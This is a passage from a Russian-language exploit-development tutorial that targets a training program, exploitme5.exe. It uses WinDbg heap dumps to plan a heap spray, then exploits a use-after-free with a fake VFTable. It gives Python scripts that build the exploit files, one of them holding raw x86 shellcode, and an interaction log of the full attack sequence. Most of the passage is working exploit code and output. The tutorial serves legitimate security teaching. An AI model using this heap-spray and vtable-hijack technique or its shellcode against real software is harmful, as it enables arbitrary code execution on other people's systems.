Virtual block: 0dc30000 - 0dc30000 (size 00000000)
Virtual block: 0dd30000 - 0dd30000 (size 00000000)
Virtual block: 0de30000 - 0de30000 (size 00000000)
Virtual block: 0df30000 - 0df30000 (size 00000000)
Virtual block: 0e030000 - 0e030000 (size 00000000)
Virtual block: 0e130000 - 0e130000 (size 00000000)
Virtual block: 0e230000 - 0e230000 (size 00000000)
Virtual block: 0e330000 - 0e330000 (size 00000000)
Virtual block: 0e430000 - 0e430000 (size 00000000)
Virtual block: 0e530000 - 0e530000 (size 00000000)
Virtual block: 0e630000 - 0e630000 (size 00000000)
Virtual block: 0e730000 - 0e730000 (size 00000000)
Virtual block: 0e830000 - 0e830000 (size 00000000)
Virtual block: 0e930000 - 0e930000 (size 00000000)
Virtual block: 0ea30000 - 0ea30000 (size 00000000)
006b0000 40000062    1024    188   1024     93     9     1  201      0      
003b0000 40001062      64     12     64      2     2     1    0      0      
00ad0000 40001062    1088    160   1088     68     5     2    0      0      
002d0000 40001062     256      4    256      2     1     1    0      0      
-----------------------------------------------------------------------------

Отлично! Теперь размер мусорных данных 0x30 байт. Вы можете убится что 0x30 это минимум. Если вы попробуете с 0x2f, работать это не будет.

Давайте перезапустим exploitme5 и еще раз попробуем. В этот раз WinDbg выведет:

0:001> !heap -s
NtGlobalFlag enables following debugging aids for new heaps:
    tail checking
    free checking
    validate parameters
LFH Key                   : 0x38c66846
Termination on corruption : ENABLED
  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast
                    (k)     (k)    (k)     (k) length      blocks cont. heap
-----------------------------------------------------------------------------
Virtual block: 02070000 - 02070000 (size 00000000)
Virtual block: 02270000 - 02270000 (size 00000000)
Virtual block: 02370000 - 02370000 (size 00000000)
Virtual block: 02470000 - 02470000 (size 00000000)
Virtual block: 02570000 - 02570000 (size 00000000)
Virtual block: 02670000 - 02670000 (size 00000000)
Virtual block: 02770000 - 02770000 (size 00000000)
Virtual block: 02870000 - 02870000 (size 00000000)
Virtual block: 02970000 - 02970000 (size 00000000)
Virtual block: 02a70000 - 02a70000 (size 00000000)
Virtual block: 02b70000 - 02b70000 (size 00000000)
Virtual block: 02c70000 - 02c70000 (size 00000000)
Virtual block: 02d70000 - 02d70000 (size 00000000)
Virtual block: 02e70000 - 02e70000 (size 00000000)
Virtual block: 02f70000 - 02f70000 (size 00000000)
Virtual block: 03070000 - 03070000 (size 00000000)
Virtual block: 03170000 - 03170000 (size 00000000)
Virtual block: 03270000 - 03270000 (size 00000000)
Virtual block: 03370000 - 03370000 (size 00000000)
Virtual block: 03470000 - 03470000 (size 00000000)
Virtual block: 03570000 - 03570000 (size 00000000)
Virtual block: 03670000 - 03670000 (size 00000000)
Virtual block: 03770000 - 03770000 (size 00000000)
Virtual block: 03870000 - 03870000 (size 00000000)
Virtual block: 03970000 - 03970000 (size 00000000)
Virtual block: 03a70000 - 03a70000 (size 00000000)
Virtual block: 03b70000 - 03b70000 (size 00000000)
Virtual block: 03c70000 - 03c70000 (size 00000000)
Virtual block: 03d70000 - 03d70000 (size 00000000)
Virtual block: 03e70000 - 03e70000 (size 00000000)
Virtual block: 03f70000 - 03f70000 (size 00000000)
Virtual block: 04070000 - 04070000 (size 00000000)
Virtual block: 04170000 - 04170000 (size 00000000)
Virtual block: 04270000 - 04270000 (size 00000000)
Virtual block: 04370000 - 04370000 (size 00000000)
Virtual block: 04470000 - 04470000 (size 00000000)
Virtual block: 04570000 - 04570000 (size 00000000)
Virtual block: 04670000 - 04670000 (size 00000000)
Virtual block: 04770000 - 04770000 (size 00000000)
Virtual block: 04870000 - 04870000 (size 00000000)
Virtual block: 04970000 - 04970000 (size 00000000)
Virtual block: 04a70000 - 04a70000 (size 00000000)
Virtual block: 04b70000 - 04b70000 (size 00000000)
Virtual block: 04c70000 - 04c70000 (size 00000000)
Virtual block: 04d70000 - 04d70000 (size 00000000)
Virtual block: 04e70000 - 04e70000 (size 00000000)
Virtual block: 04f70000 - 04f70000 (size 00000000)
Virtual block: 05070000 - 05070000 (size 00000000)
Virtual block: 05170000 - 05170000 (size 00000000)
Virtual block: 05270000 - 05270000 (size 00000000)
Virtual block: 05370000 - 05370000 (size 00000000)
Virtual block: 05470000 - 05470000 (size 00000000)
Virtual block: 05570000 - 05570000 (size 00000000)
Virtual block: 05670000 - 05670000 (size 00000000)
Virtual block: 05770000 - 05770000 (size 00000000)
Virtual block: 05870000 - 05870000 (size 00000000)
Virtual block: 05970000 - 05970000 (size 00000000)
Virtual block: 05a70000 - 05a70000 (size 00000000)
Virtual block: 05b70000 - 05b70000 (size 00000000)
Virtual block: 05c70000 - 05c70000 (size 00000000)
Virtual block: 05d70000 - 05d70000 (size 00000000)
Virtual block: 05e70000 - 05e70000 (size 00000000)
Virtual block: 05f70000 - 05f70000 (size 00000000)
Virtual block: 06070000 - 06070000 (size 00000000)
Virtual block: 06170000 - 06170000 (size 00000000)
Virtual block: 06270000 - 06270000 (size 00000000)
Virtual block: 06370000 - 06370000 (size 00000000)
Virtual block: 06470000 - 06470000 (size 00000000)
Virtual block: 06570000 - 06570000 (size 00000000)
Virtual block: 06670000 - 06670000 (size 00000000)
Virtual block: 06770000 - 06770000 (size 00000000)
Virtual block: 06870000 - 06870000 (size 00000000)
Virtual block: 06970000 - 06970000 (size 00000000)
Virtual block: 06a70000 - 06a70000 (size 00000000)
Virtual block: 06b70000 - 06b70000 (size 00000000)
Virtual block: 06c70000 - 06c70000 (size 00000000)
Virtual block: 06d70000 - 06d70000 (size 00000000)
Virtual block: 06e70000 - 06e70000 (size 00000000)
Virtual block: 06f70000 - 06f70000 (size 00000000)
Virtual block: 07070000 - 07070000 (size 00000000)
Virtual block: 07170000 - 07170000 (size 00000000)
Virtual block: 07270000 - 07270000 (size 00000000)
Virtual block: 07370000 - 07370000 (size 00000000)
Virtual block: 07470000 - 07470000 (size 00000000)
Virtual block: 07570000 - 07570000 (size 00000000)
Virtual block: 07670000 - 07670000 (size 00000000)
Virtual block: 07770000 - 07770000 (size 00000000)
Virtual block: 07870000 - 07870000 (size 00000000)
Virtual block: 07970000 - 07970000 (size 00000000)
Virtual block: 07a70000 - 07a70000 (size 00000000)
Virtual block: 07b70000 - 07b70000 (size 00000000)
Virtual block: 07c70000 - 07c70000 (size 00000000)
Virtual block: 07d70000 - 07d70000 (size 00000000)
Virtual block: 07e70000 - 07e70000 (size 00000000)
Virtual block: 07f70000 - 07f70000 (size 00000000)
Virtual block: 08070000 - 08070000 (size 00000000)
Virtual block: 08170000 - 08170000 (size 00000000)
Virtual block: 08270000 - 08270000 (size 00000000)
Virtual block: 08370000 - 08370000 (size 00000000)
Virtual block: 08470000 - 08470000 (size 00000000)
Virtual block: 08570000 - 08570000 (size 00000000)
Virtual block: 08670000 - 08670000 (size 00000000)
Virtual block: 08770000 - 08770000 (size 00000000)
Virtual block: 08870000 - 08870000 (size 00000000)
Virtual block: 08970000 - 08970000 (size 00000000)
Virtual block: 08a70000 - 08a70000 (size 00000000)
Virtual block: 08b70000 - 08b70000 (size 00000000)
Virtual block: 08c70000 - 08c70000 (size 00000000)
Virtual block: 08d70000 - 08d70000 (size 00000000)
Virtual block: 08e70000 - 08e70000 (size 00000000)
Virtual block: 08f70000 - 08f70000 (size 00000000)
Virtual block: 09070000 - 09070000 (size 00000000)
Virtual block: 09170000 - 09170000 (size 00000000)
Virtual block: 09270000 - 09270000 (size 00000000)
Virtual block: 09370000 - 09370000 (size 00000000)
Virtual block: 09470000 - 09470000 (size 00000000)
Virtual block: 09570000 - 09570000 (size 00000000)
Virtual block: 09670000 - 09670000 (size 00000000)
Virtual block: 09770000 - 09770000 (size 00000000)
Virtual block: 09870000 - 09870000 (size 00000000)
Virtual block: 09970000 - 09970000 (size 00000000)
Virtual block: 09a70000 - 09a70000 (size 00000000)
Virtual block: 09b70000 - 09b70000 (size 00000000)
Virtual block: 09c70000 - 09c70000 (size 00000000)
Virtual block: 09d70000 - 09d70000 (size 00000000)
Virtual block: 09e70000 - 09e70000 (size 00000000)
Virtual block: 09f70000 - 09f70000 (size 00000000)
Virtual block: 0a070000 - 0a070000 (size 00000000)
Virtual block: 0a170000 - 0a170000 (size 00000000)
Virtual block: 0a270000 - 0a270000 (size 00000000)
Virtual block: 0a370000 - 0a370000 (size 00000000)
Virtual block: 0a470000 - 0a470000 (size 00000000)
Virtual block: 0a570000 - 0a570000 (size 00000000)
Virtual block: 0a670000 - 0a670000 (size 00000000)
Virtual block: 0a770000 - 0a770000 (size 00000000)
Virtual block: 0a870000 - 0a870000 (size 00000000)
Virtual block: 0a970000 - 0a970000 (size 00000000)
Virtual block: 0aa70000 - 0aa70000 (size 00000000)
Virtual block: 0ab70000 - 0ab70000 (size 00000000)
Virtual block: 0ac70000 - 0ac70000 (size 00000000)
Virtual block: 0ad70000 - 0ad70000 (size 00000000)
Virtual block: 0ae70000 - 0ae70000 (size 00000000)
Virtual block: 0af70000 - 0af70000 (size 00000000)
Virtual block: 0b070000 - 0b070000 (size 00000000)
Virtual block: 0b170000 - 0b170000 (size 00000000)
Virtual block: 0b270000 - 0b270000 (size 00000000)
Virtual block: 0b370000 - 0b370000 (size 00000000)
Virtual block: 0b470000 - 0b470000 (size 00000000)
Virtual block: 0b570000 - 0b570000 (size 00000000)
Virtual block: 0b670000 - 0b670000 (size 00000000)
Virtual block: 0b770000 - 0b770000 (size 00000000)
Virtual block: 0b870000 - 0b870000 (size 00000000)
Virtual block: 0b970000 - 0b970000 (size 00000000)
Virtual block: 0ba70000 - 0ba70000 (size 00000000)
Virtual block: 0bb70000 - 0bb70000 (size 00000000)
Virtual block: 0bc70000 - 0bc70000 (size 00000000)
Virtual block: 0bd70000 - 0bd70000 (size 00000000)
Virtual block: 0be70000 - 0be70000 (size 00000000)
Virtual block: 0bf70000 - 0bf70000 (size 00000000)
Virtual block: 0c070000 - 0c070000 (size 00000000)
Virtual block: 0c170000 - 0c170000 (size 00000000)
Virtual block: 0c270000 - 0c270000 (size 00000000)
Virtual block: 0c370000 - 0c370000 (size 00000000)
Virtual block: 0c470000 - 0c470000 (size 00000000)
Virtual block: 0c570000 - 0c570000 (size 00000000)
Virtual block: 0c670000 - 0c670000 (size 00000000)
Virtual block: 0c770000 - 0c770000 (size 00000000)
Virtual block: 0c870000 - 0c870000 (size 00000000)
Virtual block: 0c970000 - 0c970000 (size 00000000)
Virtual block: 0ca70000 - 0ca70000 (size 00000000)
Virtual block: 0cb70000 - 0cb70000 (size 00000000)
Virtual block: 0cc70000 - 0cc70000 (size 00000000)
Virtual block: 0cd70000 - 0cd70000 (size 00000000)
Virtual block: 0ce70000 - 0ce70000 (size 00000000)
Virtual block: 0cf70000 - 0cf70000 (size 00000000)
Virtual block: 0d070000 - 0d070000 (size 00000000)
Virtual block: 0d170000 - 0d170000 (size 00000000)
Virtual block: 0d270000 - 0d270000 (size 00000000)
Virtual block: 0d370000 - 0d370000 (size 00000000)
Virtual block: 0d470000 - 0d470000 (size 00000000)
Virtual block: 0d570000 - 0d570000 (size 00000000)
Virtual block: 0d670000 - 0d670000 (size 00000000)
Virtual block: 0d770000 - 0d770000 (size 00000000)
Virtual block: 0d870000 - 0d870000 (size 00000000)
Virtual block: 0d970000 - 0d970000 (size 00000000)
Virtual block: 0da70000 - 0da70000 (size 00000000)
Virtual block: 0db70000 - 0db70000 (size 00000000)
Virtual block: 0dc70000 - 0dc70000 (size 00000000)
Virtual block: 0dd70000 - 0dd70000 (size 00000000)
Virtual block: 0de70000 - 0de70000 (size 00000000)
Virtual block: 0df70000 - 0df70000 (size 00000000)
Virtual block: 0e070000 - 0e070000 (size 00000000)
Virtual block: 0e170000 - 0e170000 (size 00000000)
Virtual block: 0e270000 - 0e270000 (size 00000000)
Virtual block: 0e370000 - 0e370000 (size 00000000)
Virtual block: 0e470000 - 0e470000 (size 00000000)
Virtual block: 0e570000 - 0e570000 (size 00000000)
Virtual block: 0e670000 - 0e670000 (size 00000000)
Virtual block: 0e770000 - 0e770000 (size 00000000)
Virtual block: 0e870000 - 0e870000 (size 00000000)
Virtual block: 0e970000 - 0e970000 (size 00000000)
002d0000 40000062    1024    188   1024     93     9     1  201      0      
00190000 40001062      64     12     64      2     2     1    0      0      
01d50000 40001062    1088    160   1088     68     5     2    0      0      
01d00000 40001062     256      4    256      2     1     1    0      0      
-----------------------------------------------------------------------------

В этот раз адреса разные. Сравним последние четыре:

Virtual block: 0e730000 - 0e730000 (size 00000000)
Virtual block: 0e830000 - 0e830000 (size 00000000)
Virtual block: 0e930000 - 0e930000 (size 00000000)
Virtual block: 0ea30000 - 0ea30000 (size 00000000)
--------------
Virtual block: 0e670000 - 0e670000 (size 00000000)
Virtual block: 0e770000 - 0e770000 (size 00000000)
Virtual block: 0e870000 - 0e870000 (size 00000000)
Virtual block: 0e970000 - 0e970000 (size 00000000)

Что мы замечает, так это то, что они всегда выровнены по границе 0x10000. Теперь помните что мы должны добавить 0x20 к тем адресам из-за хедера:

block 197: address = 0x0e670020; size = 1048528
block 198: address = 0x0e770020; size = 1048528
block 199: address = 0x0e870020; size = 1048528
block 200: address = 0x0e970020; size = 1048528

Если мы закинем наш payload так, что его размер будет 0х10000 и мы продублируем его в нашем блоке размером в 1 МБ (-0х30 байт), тогда мы точно найдем наш payload по адресу, к примеру, 0x0a000020. Мы выбрали адрес 0x0a000020 из-за того, что он находится по середине нашего heap spray, поэтому, даже если адреса будут немного отличатся, они будут содержать наш payload.

Давайте попробуем сделать это:

with open(r'd:\buf.dat', 'wb') as f:
    payload = 'a'*0x8000 + 'b'*0x8000      # 0x8000 + 0x8000 = 0x10000
    block_size = 0x100000-0x30
    block = payload*(block_size/len(payload)) + payload[:block_size % len(payload)]
    f.write(block)

Обратите внимание, что поскольку размер нашего блока в 0х30 байт меньше 1 МБ, последняя копия нашего payload должна быть обрезана. Конечно же, это не проблема.

Теперь давайте перезапустим exploitme5.exe в WinDbg, запустим его, прочитаем блоки с файла, сделаем 200 копий, прервем выполнение и, наконец, исследуем память по адресу 0x0a000020:

09ffffd0  62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62  bbbbbbbbbbbbbbbb
09ffffe0  62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62  bbbbbbbbbbbbbbbb
09fffff0  62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62  bbbbbbbbbbbbbbbb
0a000000  62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62  bbbbbbbbbbbbbbbb
0a000010  62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62  bbbbbbbbbbbbbbbb
0a000020  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa   <================ start
0a000030  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0a000040  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0a000050  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0a000060  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa

Как видим, копия нашего payload начинается именно с 0xa000020, так как мы и ожидали. Теперь мы должны поместить это все вместе и в конце эксплойтить exploitme5.exe.

Процесс эксплуатации

Мы увидели что в функции configureMutator() есть UAF баг. Мы можем использовать эту функцию с целью создания висячего указателя (mutators[0]).

Читая блок в 168 байт (размер Multiplier) из файла, мы можем создать высячий указатель, который указывает на данные который мы контроллируем. В частности, первый DWORD этих данных будет содержать значение 0x0a000020, которое является адресом по которому мы разместили VFTable для получения контроля над потоком выполнения.

Посмотрим на mutateBlock():

void mutateBlock() {
    listBlocks();
    while (true) {
        printf("Index of block to mutate (-1 to exit): ");
        int index;
        scanf_s("%d", &index);
        fflush(stdin);
        if (index == -1)
            break;
        if (index < 0 || index >= (int)blocks.size()) {
            printf("Wrong index!\n");
        }
        else {
            while (true) {
                printf(
                    "1) Multiplier\n"
                    "2) LowerCaser\n"
                    "3) Exit\n"
                    "Your choice [1-3]: ");
                int choice = _getch();
                printf("\n\n");
                if (choice == '3')
                    break;
                if (choice >= '1' && choice <= '3') {
                    choice -= '0';
                    mutators[choice - 1]->mutate(blocks[index].getData(), blocks[index].getSize());
                    printf("The block was mutated.\n\n");
                    break;
                }
                else
                    printf("Wrong choice!\n\n");
            }
            break;
        }
    }
}

Интересующая нас строка:

mutators[choice - 1]->mutate(blocks[index].getData(), blocks[index].getSize());

Выбирая Multiplier, выбор будет 1, так что строка будет:

mutators[0]->mutate(...);

Метод mutate это второй виртуальный метод в VFTable Multiplier’a. Поэтому по адресу 0x0a000020 мы разместим VFTable в таком виде:

0x0a000020:    whatever
0x0a000024:   0x0a000028

Когда mutate будет вызван, выполнение перескочит к коду по адресу 0x0a000028, именну туда где наш шелл-код будет обитать.

Мы значет что бы можем расспылить кучу так, что наш payload поместиться по адресу 0x0a000020. Вот как payload будет использоваться:

Полная схема:

Сперва создадим d:\obj.dat:

import struct
with open(r'd:\obj.dat', 'wb') as f:
    vftable_ptr = struct.pack('<I', 0x0a000020)
    f.write(vftable_ptr + 'a'*164)

Далее создадим d:\buf.dat:

import struct
with open(r'd:\buf.dat', 'wb') as f:
    shellcode = (
        "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
        "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
        "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
        "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
        "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
        "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
        "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
        "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
        "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
        "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
        "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
        "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
        "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
        "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
        "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
        "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
        "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
        "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
        "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
        "\x30\x03\xc6\xeb\xdd")
    vftable = "aaaa" + struct.pack('<I', 0x0a000028)        # second virtual function
    code = vftable + shellcode + 'a'*(0x10000 - len(shellcode) - len(vftable))
    block_size = 0x100000-0x30
    block = code*(block_size/len(code)) + code[:block_size % len(code)]
    f.write(block)

Теперь нам надо запустить exploitme5.exe (нам не нужен WinDbg) и проделать следующее:

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 1

File path ('exit' to exit): d:\obj.dat

Block read (168 bytes)

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 4

1) Multiplier (multiplier = 2)
2) LowerCaser
3) Exit

Your choice [1-3]: 1

mutators[0] = 0x003dc488        <====================
multiplier (int): asdf
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 3

------- Blocks -------
block 0: address = 0x003dc538; size = 168
----------------------

Index of block to duplicate (-1 to exit): 0
Number of copies (-1 to exit): 1
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 2

------- Blocks -------
block 0: address = 0x003dc538; size = 168
block 1: address = 0x003dc488; size = 168       <====================
----------------------

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 1

File path ('exit' to exit): d:\buf.dat

Block read (1048528 bytes)     <==================== 1 MB

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 3

------- Blocks -------
block 0: address = 0x003dc538; size = 168
block 1: address = 0x003dc488; size = 168
block 2: address = 0x00c60020; size = 1048528
----------------------

Index of block to duplicate (-1 to exit): 2
Number of copies (-1 to exit): 200     <==================== 200 x 1 MB = 200 MB
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 5

------- Blocks -------
block 0: address = 0x003dc538; size = 168
block 1: address = 0x003dc488; size = 168
block 2: address = 0x00c60020; size = 1048528
block 3: address = 0x00e60020; size = 1048528
block 4: address = 0x00f60020; size = 1048528
block 5: address = 0x02480020; size = 1048528
block 6: address = 0x02580020; size = 1048528
block 7: address = 0x02680020; size = 1048528
block 8: address = 0x02780020; size = 1048528
block 9: address = 0x02880020; size = 1048528
block 10: address = 0x02980020; size = 1048528
block 11: address = 0x02a80020; size = 1048528
block 12: address = 0x02b80020; size = 1048528
block 13: address = 0x02c80020; size = 1048528
block 14: address = 0x02d80020; size = 1048528
block 15: address = 0x02e80020; size = 1048528
block 16: address = 0x02f80020; size = 1048528
block 17: address = 0x03080020; size = 1048528
block 18: address = 0x03180020; size = 1048528
block 19: address = 0x03280020; size = 1048528
block 20: address = 0x03380020; size = 1048528
block 21: address = 0x03480020; size = 1048528
block 22: address = 0x03580020; size = 1048528
block 23: address = 0x03680020; size = 1048528
block 24: address = 0x03780020; size = 1048528
block 25: address = 0x03880020; size = 1048528
block 26: address = 0x03980020; size = 1048528
block 27: address = 0x03a80020; size = 1048528
block 28: address = 0x03b80020; size = 1048528
block 29: address = 0x03c80020; size = 1048528
block 30: address = 0x03d80020; size = 1048528
block 31: address = 0x03e80020; size = 1048528
block 32: address = 0x03f80020; size = 1048528
block 33: address = 0x04080020; size = 1048528
block 34: address = 0x04180020; size = 1048528
block 35: address = 0x04280020; size = 1048528
block 36: address = 0x04380020; size = 1048528
block 37: address = 0x04480020; size = 1048528
block 38: address = 0x04580020; size = 1048528
block 39: address = 0x04680020; size = 1048528
block 40: address = 0x04780020; size = 1048528
block 41: address = 0x04880020; size = 1048528
block 42: address = 0x04980020; size = 1048528
block 43: address = 0x04a80020; size = 1048528
block 44: address = 0x04b80020; size = 1048528
block 45: address = 0x04c80020; size = 1048528
block 46: address = 0x04d80020; size = 1048528
block 47: address = 0x04e80020; size = 1048528
block 48: address = 0x04f80020; size = 1048528
block 49: address = 0x05080020; size = 1048528
block 50: address = 0x05180020; size = 1048528
block 51: address = 0x05280020; size = 1048528
block 52: address = 0x05380020; size = 1048528
block 53: address = 0x05480020; size = 1048528
block 54: address = 0x05580020; size = 1048528
block 55: address = 0x05680020; size = 1048528
block 56: address = 0x05780020; size = 1048528
block 57: address = 0x05880020; size = 1048528
block 58: address = 0x05980020; size = 1048528
block 59: address = 0x05a80020; size = 1048528
block 60: address = 0x05b80020; size = 1048528
block 61: address = 0x05c80020; size = 1048528
block 62: address = 0x05d80020; size = 1048528
block 63: address = 0x05e80020; size = 1048528
block 64: address = 0x05f80020; size = 1048528
block 65: address = 0x06080020; size = 1048528
block 66: address = 0x06180020; size = 1048528
block 67: address = 0x06280020; size = 1048528
block 68: address = 0x06380020; size = 1048528
block 69: address = 0x06480020; size = 1048528
block 70: address = 0x06580020; size = 1048528
block 71: address = 0x06680020; size = 1048528
block 72: address = 0x06780020; size = 1048528
block 73: address = 0x06880020; size = 1048528
block 74: address = 0x06980020; size = 1048528
block 75: address = 0x06a80020; size = 1048528
block 76: address = 0x06b80020; size = 1048528
block 77: address = 0x06c80020; size = 1048528
block 78: address = 0x06d80020; size = 1048528
block 79: address = 0x06e80020; size = 1048528
block 80: address = 0x06f80020; size = 1048528
block 81: address = 0x07080020; size = 1048528
block 82: address = 0x07180020; size = 1048528
block 83: address = 0x07280020; size = 1048528
block 84: address = 0x07380020; size = 1048528
block 85: address = 0x07480020; size = 1048528
block 86: address = 0x07580020; size = 1048528
block 87: address = 0x07680020; size = 1048528
block 88: address = 0x07780020; size = 1048528
block 89: address = 0x07880020; size = 1048528
block 90: address = 0x07980020; size = 1048528
block 91: address = 0x07a80020; size = 1048528
block 92: address = 0x07b80020; size = 1048528
block 93: address = 0x07c80020; size = 1048528
block 94: address = 0x07d80020; size = 1048528
block 95: address = 0x07e80020; size = 1048528
block 96: address = 0x07f80020; size = 1048528
block 97: address = 0x08080020; size = 1048528
block 98: address = 0x08180020; size = 1048528
block 99: address = 0x08280020; size = 1048528
block 100: address = 0x08380020; size = 1048528
block 101: address = 0x08480020; size = 1048528
block 102: address = 0x08580020; size = 1048528
block 103: address = 0x08680020; size = 1048528
block 104: address = 0x08780020; size = 1048528
block 105: address = 0x08880020; size = 1048528
block 106: address = 0x08980020; size = 1048528
block 107: address = 0x08a80020; size = 1048528
block 108: address = 0x08b80020; size = 1048528
block 109: address = 0x08c80020; size = 1048528
block 110: address = 0x08d80020; size = 1048528
block 111: address = 0x08e80020; size = 1048528
block 112: address = 0x08f80020; size = 1048528
block 113: address = 0x09080020; size = 1048528
block 114: address = 0x09180020; size = 1048528
block 115: address = 0x09280020; size = 1048528
block 116: address = 0x09380020; size = 1048528
block 117: address = 0x09480020; size = 1048528
block 118: address = 0x09580020; size = 1048528
block 119: address = 0x09680020; size = 1048528
block 120: address = 0x09780020; size = 1048528
block 121: address = 0x09880020; size = 1048528
block 122: address = 0x09980020; size = 1048528
block 123: address = 0x09a80020; size = 1048528
block 124: address = 0x09b80020; size = 1048528
block 125: address = 0x09c80020; size = 1048528
block 126: address = 0x09d80020; size = 1048528
block 127: address = 0x09e80020; size = 1048528
block 128: address = 0x09f80020; size = 1048528
block 129: address = 0x0a080020; size = 1048528
block 130: address = 0x0a180020; size = 1048528
block 131: address = 0x0a280020; size = 1048528
block 132: address = 0x0a380020; size = 1048528
block 133: address = 0x0a480020; size = 1048528
block 134: address = 0x0a580020; size = 1048528
block 135: address = 0x0a680020; size = 1048528
block 136: address = 0x0a780020; size = 1048528
block 137: address = 0x0a880020; size = 1048528
block 138: address = 0x0a980020; size = 1048528
block 139: address = 0x0aa80020; size = 1048528
block 140: address = 0x0ab80020; size = 1048528
block 141: address = 0x0ac80020; size = 1048528
block 142: address = 0x0ad80020; size = 1048528
block 143: address = 0x0ae80020; size = 1048528
block 144: address = 0x0af80020; size = 1048528
block 145: address = 0x0b080020; size = 1048528
block 146: address = 0x0b180020; size = 1048528
block 147: address = 0x0b280020; size = 1048528
block 148: address = 0x0b380020; size = 1048528
block 149: address = 0x0b480020; size = 1048528
block 150: address = 0x0b580020; size = 1048528
block 151: address = 0x0b680020; size = 1048528
block 152: address = 0x0b780020; size = 1048528
block 153: address = 0x0b880020; size = 1048528
block 154: address = 0x0b980020; size = 1048528
block 155: address = 0x0ba80020; size = 1048528
block 156: address = 0x0bb80020; size = 1048528
block 157: address = 0x0bc80020; size = 1048528
block 158: address = 0x0bd80020; size = 1048528
block 159: address = 0x0be80020; size = 1048528
block 160: address = 0x0bf80020; size = 1048528
block 161: address = 0x0c080020; size = 1048528
block 162: address = 0x0c180020; size = 1048528
block 163: address = 0x0c280020; size = 1048528
block 164: address = 0x0c380020; size = 1048528
block 165: address = 0x0c480020; size = 1048528
block 166: address = 0x0c580020; size = 1048528
block 167: address = 0x0c680020; size = 1048528
block 168: address = 0x0c780020; size = 1048528
block 169: address = 0x0c880020; size = 1048528
block 170: address = 0x0c980020; size = 1048528
block 171: address = 0x0ca80020; size = 1048528
block 172: address = 0x0cb80020; size = 1048528
block 173: address = 0x0cc80020; size = 1048528
block 174: address = 0x0cd80020; size = 1048528
block 175: address = 0x0ce80020; size = 1048528
block 176: address = 0x0cf80020; size = 1048528
block 177: address = 0x0d080020; size = 1048528
block 178: address = 0x0d180020; size = 1048528
block 179: address = 0x0d280020; size = 1048528
block 180: address = 0x0d380020; size = 1048528
block 181: address = 0x0d480020; size = 1048528
block 182: address = 0x0d580020; size = 1048528
block 183: address = 0x0d680020; size = 1048528
block 184: address = 0x0d780020; size = 1048528
block 185: address = 0x0d880020; size = 1048528
block 186: address = 0x0d980020; size = 1048528
block 187: address = 0x0da80020; size = 1048528
block 188: address = 0x0db80020; size = 1048528
block 189: address = 0x0dc80020; size = 1048528
block 190: address = 0x0dd80020; size = 1048528
block 191: address = 0x0de80020; size = 1048528
block 192: address = 0x0df80020; size = 1048528
block 193: address = 0x0e080020; size = 1048528
block 194: address = 0x0e180020; size = 1048528
block 195: address = 0x0e280020; size = 1048528
block 196: address = 0x0e380020; size = 1048528
block 197: address = 0x0e480020; size = 1048528
